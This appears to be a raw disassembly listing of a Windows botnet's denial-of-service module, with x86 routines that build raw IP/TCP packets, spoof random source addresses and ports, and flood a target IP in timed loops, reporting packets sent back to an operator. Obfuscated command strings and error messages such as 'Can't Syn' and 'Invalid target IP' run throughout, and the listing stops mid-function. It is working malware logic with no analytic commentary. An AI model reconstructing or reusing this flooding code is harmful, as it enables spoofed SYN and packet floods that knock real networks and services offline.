jnz short loc_4225D0
call dword_4372D8
push eax
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d"
lea eax, [ebp+var_2944]
push 2710h
push eax
call sub_429AEE
add esp, 14h
push ebx
call dword_437170 ; ExitThread
loc_4225D0: ; CODE XREF: sub_42251B+87j
lea ecx, [ebp+var_48]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_48], esi
call dword_437288
cmp eax, 0FFFFFFFFh
jnz short loc_422614
call dword_4372D8
push eax
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d"
lea eax, [ebp+var_2944]
push 2710h
push eax
call sub_429AEE
add esp, 14h
push ebx
call dword_437170 ; ExitThread
loc_422614: ; CODE XREF: sub_42251B+CBj
push [ebp+arg_4]
mov esi, dword_4372C0
mov [ebp+var_68], 2
call esi ; dword_4372C0
mov edi, [ebp+arg_0]
push 28h
mov [ebp+var_66], ax
mov [ebp+var_64], edi
mov [ebp+var_24], 45h
call esi ; dword_4372C0
push [ebp+arg_4]
mov [ebp+var_22], ax
mov [ebp+var_20], 1
mov [ebp+var_1E], bx
mov [ebp+var_1C], 80h
mov [ebp+var_1B], 6
mov [ebp+var_1A], bx
mov [ebp+var_14], edi
call esi ; dword_4372C0
push 4000h
mov [ebp+var_36], ax
mov [ebp+var_30], ebx
mov [ebp+var_2C], 50h
mov [ebp+var_2B], 2
call esi ; dword_4372C0
mov [ebp+var_2A], ax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_26], bx
mov [ebp+arg_4], ebx
call dword_4370BC ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_4370C0 ; QueryPerformanceCounter
push [ebp+var_54]
mov eax, [ebp+arg_8]
cdq
push [ebp+var_58]
push edx
push eax
call sub_42C420
add eax, [ebp+var_8]
adc edx, [ebp+var_4]
mov [ebp+var_50], eax
mov [ebp+var_4C], edx
loc_4226AB: ; CODE XREF: sub_42251B+2DAj
call sub_429ACC
cdq
mov ecx, 0FFh
push 14h
idiv ecx
mov eax, [ebp+var_10]
mov [ebp+var_28], bx
and eax, 0FFFFFFh
mov [ebp+var_3C], bl
mov [ebp+var_3B], 6
shl edx, 18h
or edx, eax
mov eax, [ebp+var_14]
mov edi, edx
mov [ebp+var_40], eax
mov [ebp+var_10], edi
call esi ; dword_4372C0
mov [ebp+var_3A], ax
mov [ebp+var_18], edi
call sub_429ACC
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call esi ; dword_4372C0
mov [ebp+var_38], ax
call sub_429ACC
mov edi, eax
shl edi, 10h
call sub_429ACC
or edi, eax
push edi
call esi ; dword_4372C0
movzx eax, ax
mov [ebp+var_34], eax
mov eax, [ebp+var_18]
mov [ebp+var_44], eax
lea eax, [ebp+var_44]
push 0Ch
push eax
lea eax, [ebp+var_A4]
push eax
call sub_429350
push 14h
lea eax, [ebp+var_38]
pop edi
push edi
push eax
lea eax, [ebp+var_98]
push eax
call sub_429350
lea eax, [ebp+var_A4]
push 20h
push eax
call sub_41E322
mov [ebp+var_28], ax
lea eax, [ebp+var_24]
push edi
push eax
lea eax, [ebp+var_A4]
push eax
call sub_429350
lea eax, [ebp+var_38]
push edi
push eax
lea eax, [ebp+var_90]
push eax
call sub_429350
push 4
lea eax, [ebp+var_7C]
push ebx
push eax
call sub_429690
add esp, 44h
lea eax, [ebp+var_A4]
push 28h
push eax
call sub_41E322
mov [ebp+var_1A], ax
push edi
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_A4]
push eax
call sub_429350
add esp, 14h
lea eax, [ebp+var_68]
push 10h
push eax
push ebx
lea eax, [ebp+var_A4]
push 28h
push eax
push [ebp+var_C]
call dword_437290
cmp eax, 0FFFFFFFFh
jz short loc_4227FA
add [ebp+arg_4], eax
lea eax, [ebp+var_8]
push eax
call dword_4370C0 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, [ebp+var_4C]
jg short loc_422823
jl short loc_4227EC
mov eax, [ebp+var_8]
cmp eax, [ebp+var_50]
jnb short loc_422823
loc_4227EC: ; CODE XREF: sub_42251B+2C7j
push [ebp+arg_C]
call dword_43718C ; Sleep
jmp loc_4226AB
; ---------------------------------------------------------------------------
loc_4227FA: ; CODE XREF: sub_42251B+2B0j
call dword_4372D8
push eax
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push offset aSErrorD ; "%s Error: %d"
lea eax, [ebp+var_2944]
push 2710h
push eax
call sub_429AEE
add esp, 14h
xor eax, eax
jmp short loc_422835
; ---------------------------------------------------------------------------
loc_422823: ; CODE XREF: sub_42251B+2C5j
; sub_42251B+2CFj
push [ebp+var_C]
call dword_4372D4
call dword_4372A8
mov eax, [ebp+arg_4]
loc_422835: ; CODE XREF: sub_42251B+306j
pop edi
pop esi
pop ebx
leave
retn
sub_42251B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42283A proc near ; CODE XREF: sub_4228EE+50p
var_2710 = byte ptr -2710h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 2710h
call sub_429A90
push [ebp+arg_14]
call sub_41E326
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push eax
call sub_42251B
add esp, 14h
test eax, eax
jnz short loc_4228E0
push esi
call dword_4372D8
push eax
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d"
lea eax, [ebp+var_2710]
push 2710h
push eax
call sub_429AEE
add esp, 14h
cmp [ebp+arg_8], 0
mov esi, offset aS_5 ; "%s"
jnz short loc_4228B2
cmp [ebp+arg_C], 0
jnz short loc_4228B8
lea eax, [ebp+var_2710]
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
loc_4228B2: ; CODE XREF: sub_42283A+5Aj
cmp [ebp+arg_C], 0
jz short loc_4228CE
loc_4228B8: ; CODE XREF: sub_42283A+60j
lea eax, [ebp+var_2710]
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CD0E
add esp, 10h
loc_4228CE: ; CODE XREF: sub_42283A+7Cj
push [ebp+arg_10]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
pop esi
loc_4228E0: ; CODE XREF: sub_42283A+29j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv [ebp+arg_1C]
leave
retn
sub_42283A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228EE proc near ; DATA XREF: sub_40A938+6B13o
var_2830 = byte ptr -2830h
var_120 = dword ptr -120h
var_11C = byte ptr -11Ch
var_9C = byte ptr -9Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2830h
call sub_429A90
mov eax, [ebp+arg_0]
push esi
push edi
push 48h
pop ecx
mov esi, eax
lea edi, [ebp+var_120]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+11Ch], 1
lea eax, [ebp+var_11C]
mov edi, [ebp+var_120]
push [ebp+var_14]
push [ebp+var_18]
push eax
lea eax, [ebp+var_9C]
push [ebp+var_1C]
push [ebp+var_C]
push [ebp+var_8]
push eax
push edi
call sub_42283A
push eax
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push offset aSS@IkbS ; "%s %s @ (%iKB/s)"
lea eax, [ebp+var_2830]
push 2710h
push eax
call sub_429AEE
add esp, 3Ch
cmp [ebp+var_8], 0
mov esi, offset aS_5 ; "%s"
jnz short loc_422990
cmp [ebp+var_C], 0
jnz short loc_422996
lea eax, [ebp+var_2830]
push eax
lea eax, [ebp+var_9C]
push esi
push eax
push edi
call sub_41CD84
add esp, 10h
loc_422990: ; CODE XREF: sub_4228EE+82j
cmp [ebp+var_C], 0
jz short loc_4229AE
loc_422996: ; CODE XREF: sub_4228EE+88j
lea eax, [ebp+var_2830]
push eax
lea eax, [ebp+var_9C]
push esi
push eax
push edi
call sub_41CD0E
add esp, 10h
loc_4229AE: ; CODE XREF: sub_4228EE+A6j
push [ebp+var_1C]
call sub_42355A
pop ecx
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_4228EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229BF proc near ; DATA XREF: sub_40A938+792Eo
var_2834 = byte ptr -2834h
var_124 = dword ptr -124h
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2834h
call sub_429A90
mov eax, [ebp+arg_0]
push esi
push edi
push 49h
pop ecx
mov esi, eax
lea edi, [ebp+var_124]
rep movsd
push [ebp+var_10]
mov edi, [ebp+var_124]
mov dword ptr [eax+120h], 1
lea eax, [ebp+var_A0]
push [ebp+var_C]
push eax
push edi
push [ebp+var_8]
lea eax, [ebp+var_120]
push [ebp+var_20]
push [ebp+var_14]
push [ebp+var_18]
push [ebp+var_1C]
push eax
call sub_422A87
push eax
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
lea eax, [ebp+var_2834]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
xor esi, esi
add esp, 3Ch
cmp [ebp+var_C], esi
jnz short loc_422A59
cmp [ebp+var_10], esi
jnz short loc_422A5E
lea eax, [ebp+var_2834]
push eax
lea eax, [ebp+var_A0]
push eax
push edi
call sub_41CD84
add esp, 0Ch
loc_422A59: ; CODE XREF: sub_4229BF+7Cj
cmp [ebp+var_10], esi
jz short loc_422A75
loc_422A5E: ; CODE XREF: sub_4229BF+81j
lea eax, [ebp+var_2834]
push eax
lea eax, [ebp+var_A0]
push eax
push edi
call sub_41CD0E
add esp, 0Ch
loc_422A75: ; CODE XREF: sub_4229BF+9Dj
push [ebp+var_20]
call sub_42355A
pop ecx
push esi
call dword_437170 ; ExitThread
pop edi
pop esi
sub_4229BF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A87 proc near ; CODE XREF: sub_4229BF+53p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
xor esi, esi
push edi
inc esi
push 338h
push 200h
mov [ebp+var_1C], esi
call sub_41E34F
pop ecx
mov [ebp+var_4], eax
pop ecx
mov ebx, 0FFh
push 2
xor ecx, ecx
pop edx
xor eax, eax
cmp [ebp+arg_14], esi
lea edi, [ebp+var_54]
mov [ebp+var_88], ecx
mov [ebp+var_84], esi
mov [ebp+var_80], edx
mov [ebp+var_7C], 4
mov [ebp+var_78], 6
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 0Eh
mov [ebp+var_68], 15h
mov [ebp+var_64], 2Ch
mov [ebp+var_60], 6Fh
mov [ebp+var_5C], ebx
mov [ebp+var_58], ecx
mov [ebp+var_4C], ecx
stosd
lea edi, [ebp+var_24]
mov [ebp+var_48], ecx
mov [ebp+var_44], ecx
mov [ebp+var_40], 200h
mov [ebp+var_3C], edx
mov [ebp+var_38], 4
mov [ebp+var_34], 10h
mov [ebp+var_30], 1A0Ah
mov [ebp+var_2C], esi
mov [ebp+var_28], ecx
stosd
jnz short loc_422B50
push offset dword_457C20
call sub_41E326
pop ecx
mov edi, eax
jmp short loc_422B74
; ---------------------------------------------------------------------------
loc_422B50: ; CODE XREF: sub_422A87+B8j
mov esi, 100h
push esi
call sub_42B407
pop ecx
mov edi, eax
push esi
push edi
call dword_456F2C ; gethostname
push edi
call dword_456FB4 ; gethostbyname
mov eax, [eax+0Ch]
mov eax, [eax]
mov edi, [eax]
loc_422B74: ; CODE XREF: sub_422A87+C7j
push ebx
push 3
push 2
call dword_4372B8
lea ecx, [ebp+var_1C]
push 4
push ecx
push 2
push 0
push eax
mov [ebp+arg_14], eax
call dword_437288
cmp eax, 0FFFFFFFFh
jnz short loc_422BFA
cmp [ebp+arg_20], 0
mov edi, dword_43716C
mov esi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
mov ebx, offset aSCanTUseRawOpt ; "%s Can't use raw opt: %d"
jnz short loc_422BC7
cmp [ebp+arg_24], 0
jnz short loc_422BCD
call edi ; dword_43716C
push eax
push esi
push ebx
push [ebp+arg_1C]
push [ebp+arg_18]
call sub_41CD84
add esp, 14h
loc_422BC7: ; CODE XREF: sub_422A87+125j
cmp [ebp+arg_24], 0
jz short loc_422BE0
loc_422BCD: ; CODE XREF: sub_422A87+12Bj
call edi ; dword_43716C
push eax
push esi
push ebx
push [ebp+arg_1C]
push [ebp+arg_18]
call sub_41CD0E
add esp, 14h
loc_422BE0: ; CODE XREF: sub_422A87+144j
push [ebp+arg_14]
call dword_4372D4
push [ebp+arg_10]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
loc_422BFA: ; CODE XREF: sub_422A87+10Fj
push [ebp+var_4]
call sub_4296E8
mov esi, dword_437184
pop ecx
mov [ebp+arg_24], eax
call esi ; dword_437184
push [ebp+arg_0]
mov [ebp+arg_1C], eax
call dword_456F5C ; inet_addr
push [ebp+arg_4]
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4372C0
mov [ebp+var_96], ax
jmp loc_422D16
; ---------------------------------------------------------------------------
loc_422C3E: ; CODE XREF: sub_422A87+2A0j
call sub_429ACC
cdq
mov ecx, ebx
and edi, 0FFFFFFh
idiv ecx
shl edx, 18h
or edi, edx
call sub_429ACC
cdq
mov ecx, 0F4h
idiv ecx
mov [ebp+var_50], edx
call sub_429ACC
cdq
mov ecx, 1FA4h
mov [ebp+var_18], 45h
idiv ecx
mov [ebp+var_17], 4
mov [ebp+var_20], edx
call sub_429ACC
mov [ebp+var_14], ax
call sub_429ACC
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_4C]
push eax
call dword_456F18 ; ntohs
push [ebp+var_4]
mov [ebp+var_12], ax
call dword_456F18 ; ntohs
mov [ebp+var_16], ax
mov [ebp+var_10], bl
call sub_429ACC
push 0Eh
mov [ebp+var_C], edi
cdq
pop ecx
idiv ecx
push [ebp+arg_0]
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_F], al
call dword_456F5C ; inet_addr
mov [ebp+var_8], eax
lea eax, [ebp+var_18]
push 14h
push eax
call sub_41E322
mov [ebp+var_E], ax
lea eax, [ebp+var_18]
push 14h
push eax
push [ebp+arg_24]
call sub_429350
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push [ebp+var_4]
push [ebp+arg_24]
push [ebp+arg_14]
call dword_437290
push [ebp+arg_C]
call dword_43718C ; Sleep
loc_422D16: ; CODE XREF: sub_422A87+1B2j
call esi ; dword_437184
sub eax, [ebp+arg_1C]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+arg_8]
jbe loc_422C3E
push [ebp+arg_24]
call sub_429822
pop ecx
push [ebp+arg_14]
call dword_4372D4
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_422A87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D47 proc near ; DATA XREF: sub_40A938+941Ao
var_2A5C = byte ptr -2A5Ch
var_34C = byte ptr -34Ch
var_24C = dword ptr -24Ch
var_248 = byte ptr -248h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_94 = byte ptr -94h
var_88 = byte ptr -88h
var_80 = byte ptr -80h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = word ptr -62h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_36 = word ptr -36h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = word ptr -2Eh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2A5Ch
call sub_429A90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 69h
mov esi, eax
pop ecx
lea edi, [ebp+var_24C]
rep movsd
xor esi, esi
push 0Eh
inc esi
xor ebx, ebx
mov [eax+1A0h], esi
mov eax, [ebp+var_24C]
mov [ebp+arg_0], eax
pop ecx
xor eax, eax
lea edi, [ebp+var_A7]
mov [ebp+var_A8], bl
rep stosd
stosw
stosb
mov edi, dword_437184
call edi ; dword_437184
push eax
call sub_429ABF
pop ecx
push 0FFh
push 3
push 2
call dword_4372B8
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz loc_422E4C
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
lea eax, [ebp+var_2A5C]
push offset aSSD__0 ; "%s %s <%d>."
push eax
call sub_429A33
add esp, 14h
cmp [ebp+var_B0], ebx
mov edi, offset aS_5 ; "%s"
jnz short loc_422E0F
cmp [ebp+var_B4], ebx
jnz short loc_422E17
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
loc_422E0F: ; CODE XREF: sub_422D47+A4j
cmp [ebp+var_B4], ebx
jz short loc_422E31
loc_422E17: ; CODE XREF: sub_422D47+ACj
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 10h
loc_422E31: ; CODE XREF: sub_422D47+CEj
push 0FFFFFFFFh
call dword_4372D4
push [ebp+var_C8]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_422E4C: ; CODE XREF: sub_422D47+6Ej
lea ecx, [ebp+var_3C]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_3C], esi
call dword_437288
cmp eax, 0FFFFFFFFh
jnz loc_422EFA
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
lea eax, [ebp+var_2A5C]
push offset aSSD__0 ; "%s %s <%d>."
push eax
call sub_429A33
add esp, 14h
cmp [ebp+var_B0], ebx
mov edi, offset aS_5 ; "%s"
jnz short loc_422EBC
cmp [ebp+var_B4], ebx
jnz short loc_422EC4
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
loc_422EBC: ; CODE XREF: sub_422D47+151j
cmp [ebp+var_B4], ebx
jz short loc_422EDE
loc_422EC4: ; CODE XREF: sub_422D47+159j
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 10h
loc_422EDE: ; CODE XREF: sub_422D47+17Bj
push [ebp+var_8]
call dword_4372D4
push [ebp+var_C8]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_422EFA: ; CODE XREF: sub_422D47+11Bj
lea eax, [ebp+var_248]
push eax
call dword_4372BC
cmp eax, 0FFFFFFFFh
jnz loc_422F96
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
lea eax, [ebp+var_2A5C]
push offset aSInvalidTarget ; "%s Invalid target IP."
push eax
call sub_429A33
add esp, 0Ch
cmp [ebp+var_B0], ebx
mov edi, offset aS_5 ; "%s"
jnz short loc_422F58
cmp [ebp+var_B4], ebx
jnz short loc_422F60
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
loc_422F58: ; CODE XREF: sub_422D47+1EDj
cmp [ebp+var_B4], ebx
jz short loc_422F7A
loc_422F60: ; CODE XREF: sub_422D47+1F5j
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 10h
loc_422F7A: ; CODE XREF: sub_422D47+217j
push [ebp+var_8]
call dword_4372D4
push [ebp+var_C8]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_422F96: ; CODE XREF: sub_422D47+1C3j
push 10h
lea eax, [ebp+var_4C]
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_34C]
push 100h
push eax
call dword_4372DC
lea eax, [ebp+var_34C]
push eax
call dword_4372A0
mov eax, [eax+0Ch]
push ebx
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4C], 2
mov [ebp+var_C], eax
call dword_456F18 ; ntohs
mov [ebp+var_4A], ax
lea eax, [ebp+var_248]
push eax
call dword_456F5C ; inet_addr
mov [ebp+var_48], eax
mov [ebp+var_4], ebx
call edi ; dword_437184
mov [ebp+var_24], eax
call edi ; dword_437184
sub eax, [ebp+var_24]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_C0]
ja loc_42328E
push 14h
pop esi
loc_423014: ; CODE XREF: sub_422D47+541j
call sub_429ACC
cdq
mov ecx, 0FFh
push 28h
idiv ecx
mov eax, [ebp+var_C]
mov [ebp+var_38], 45h
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call dword_456F18 ; ntohs
cmp [ebp+var_B8], ebx
mov [ebp+var_36], ax
mov [ebp+var_34], 1
mov [ebp+var_32], bx
mov [ebp+var_30], 80h
mov [ebp+var_2F], 6
mov [ebp+var_2E], bx
jz short loc_423064
mov eax, [ebp+var_C]
jmp short loc_42306F
; ---------------------------------------------------------------------------
loc_423064: ; CODE XREF: sub_422D47+316j
push offset dword_457C20
call dword_456F5C ; inet_addr
loc_42306F: ; CODE XREF: sub_422D47+31Bj
cmp [ebp+var_C4], ebx
mov [ebp+var_2C], eax
mov eax, [ebp+var_48]
mov [ebp+var_28], eax
jnz short loc_423090
call sub_429ACC
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_423096
; ---------------------------------------------------------------------------
loc_423090: ; CODE XREF: sub_422D47+337j
push [ebp+var_C4]
loc_423096: ; CODE XREF: sub_422D47+347j
call dword_456F18 ; ntohs
mov [ebp+var_1E], ax
call sub_429ACC
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_456F18 ; ntohs
push 12345678h
mov [ebp+var_20], ax
call dword_456F14 ; ntohl
mov [ebp+var_1C], eax
lea eax, [ebp+var_1C8]
push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_4230E9
mov [ebp+var_18], ebx
mov [ebp+var_13], 2
jmp loc_42317E
; ---------------------------------------------------------------------------
loc_4230E9: ; CODE XREF: sub_422D47+394j
lea eax, [ebp+var_1C8]
push offset a6x7zf1eztny_ ; "6x7zf1EztnY."
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_423109
mov [ebp+var_18], ebx
mov [ebp+var_13], 10h
jmp short loc_42317E
; ---------------------------------------------------------------------------
loc_423109: ; CODE XREF: sub_422D47+3B7j
lea eax, [ebp+var_1C8]
push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_423142
call sub_429ACC
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_18], edx
call sub_429ACC
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
jmp short loc_423178
; ---------------------------------------------------------------------------
loc_423142: ; CODE XREF: sub_422D47+3D7j
lea eax, [ebp+var_1C8]
push offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_42317E
call sub_429ACC
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_18], edx
call sub_429ACC
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, cl
loc_423178: ; CODE XREF: sub_422D47+3F9j
add dl, 2
mov [ebp+var_13], dl
loc_42317E: ; CODE XREF: sub_422D47+39Dj
; sub_422D47+3C0j ...
push 200h
mov [ebp+var_14], 50h
call dword_456F18 ; ntohs
mov [ebp+var_12], ax
mov eax, [ebp+var_2C]
mov [ebp+var_6C], eax
mov eax, [ebp+var_28]
push esi
mov [ebp+var_E], bx
mov [ebp+var_10], bx
mov [ebp+var_68], eax
mov [ebp+var_64], bl
mov [ebp+var_63], 6
call dword_456F18 ; ntohs
mov [ebp+var_62], ax
lea eax, [ebp+var_6C]
push 20h
push eax
lea eax, [ebp+var_A8]
push eax
call sub_429350
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_88]
push eax
call sub_429350
lea eax, [ebp+var_A8]
push 34h
push eax
call sub_41E322
mov [ebp+var_10], ax
lea eax, [ebp+var_38]
push esi
push eax
lea eax, [ebp+var_A8]
push eax
call sub_429350
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_429350
push 4
lea eax, [ebp+var_80]
push ebx
push eax
call sub_429690
add esp, 44h
lea eax, [ebp+var_A8]
push 28h
push eax
call sub_41E322
mov [ebp+var_2E], ax
lea eax, [ebp+var_38]
push esi
push eax
lea eax, [ebp+var_A8]
push eax
call sub_429350
add esp, 14h
lea eax, [ebp+var_4C]
push 10h
push eax
push ebx
lea eax, [ebp+var_A8]
push 3Ch
push eax
push [ebp+var_8]
call dword_437290
cmp eax, 0FFFFFFFFh
jz loc_423342
push [ebp+var_BC]
inc [ebp+var_4]
call dword_43718C ; Sleep
call edi ; dword_437184
sub eax, [ebp+var_24]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_C0]
jbe loc_423014
loc_42328E: ; CODE XREF: sub_422D47+2C4j
push [ebp+var_8]
call dword_456FD0 ; closesocket
mov eax, [ebp+var_4]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_C0]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_248]
push [ebp+var_4]
push eax
lea eax, [ebp+var_1C8]
push eax
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
lea eax, [ebp+var_2A5C]
push offset aSSWithSToIpS_S ; "%s %s with %s to IP: %s. Sent: %d packe"...
push eax
call sub_429A33
add esp, 24h
cmp [ebp+var_B0], ebx
mov edi, offset aS_5 ; "%s"
jnz short loc_42330D
cmp [ebp+var_B4], ebx
jnz short loc_423315
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
